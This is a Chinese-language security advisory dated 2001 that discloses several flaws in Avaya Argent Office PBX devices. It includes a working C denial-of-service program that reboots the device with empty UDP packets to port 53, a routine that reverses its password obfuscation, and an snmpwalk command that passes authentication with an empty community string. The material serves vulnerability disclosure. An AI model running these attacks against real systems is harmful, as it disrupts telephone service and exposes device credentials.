xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Avaya Argent Office 存在多个漏洞


发布时间:2001-08-08
更新时间:2001-08-08
严重程度:
威胁程度:本地拒绝服务
错误类型:设计错误
利用方式:服务器模式

受影响系统
Avaya Argent Office
详细描述
Avaya Argent产品是集成PBX,网络连接,拨号服务的解决方案,其中
存在几个安全漏洞,不过其大部分是本地网络连接,所以问题不是很大。

1,本地拒绝服务攻击

通过对端口53发送没有负载的UDP信息包会导致Argent Office重新启动。

/* argent_kill.c
(c) 2001 Jacek Lipkowski sq5bpf@acid.ch.pw.edu.pl
Reboots an Argent Office box by sending udp packets with no payload to port 53
usage: argent_kill ip_address
*/


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>


main(int argc, char *argv[])
{
struct sockaddr_in addr;
struct hostent *host;
int s;


s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s==-1) { perror("socket()"); exit(1); }
host=gethostbyname(argv[1]);
if (host==0) { herror("gethostbyname"); exit(1); }
memcpy(&addr.sin_addr,host->h_addr,host->h_length);
addr.sin_port=htons(53);
addr.sin_family=AF_INET;
if (connect(s,&addr,16)==-1) { perror("connect()"); exit(1); }
for (;;)
{
send(s,0,0,0); sleep(1); printf("."); fflush(stdout);
}
close(s);

}

2,配置密码容易解密

重新启动需要通过tftp获得如下文件:

nasystem/rebootwhenfree/00e007002666/password//

这里的00e007002666是MAC地址,而密码的加密机制很简单。
这个信息可以通过嗅探获得,下面的程序类似加密机制。

/* argent_obfuscate.c
(c) 2001 Jacek Lipkowski sq5bpf@acid.ch.pw.edu.pl
demonstrates how the password obfuscation
mechanism works in argent office products */


main(int argc,char **argv)
{
int i;
unsigned char buf[32];
strcpy(&buf,argv[1]);
for (i=0;i<strlen(argv[1]);i++)
printf("0x%2.2X ",buf[i]+0x11-i);
printf("\n");
}


如密码 'idiocy'加密后的十六进制值为下:

$ ./argent_obfuscate idiocy
0x7A 0x74 0x78 0x7D 0x70 0x85

3,SNMP可操作

软件通过如下类似方法进行SNMP认证:

if (strncmp(n,c,strlen(n))==0) { ok, valid community}

这里的C是community string。因此如果密码长度为0则验证通过:

~$ snmpwalk 192.168.1.234 "" system.sysDescr.0
system.sysDescr.0 = ARGENT OFFICE CPU 2.1 (138)

4,tftp请求广播

系统默认配置通过tftp请求叫HoldMusic 的文件俩获得广播地址,你就
可以改变文件而播放其他歌曲。

测试代码
见描述部分

解决方案
尚无

相关信息
Andra Sp. z o.o. Jacek Lipkowski sq5bpf@andra.com.pl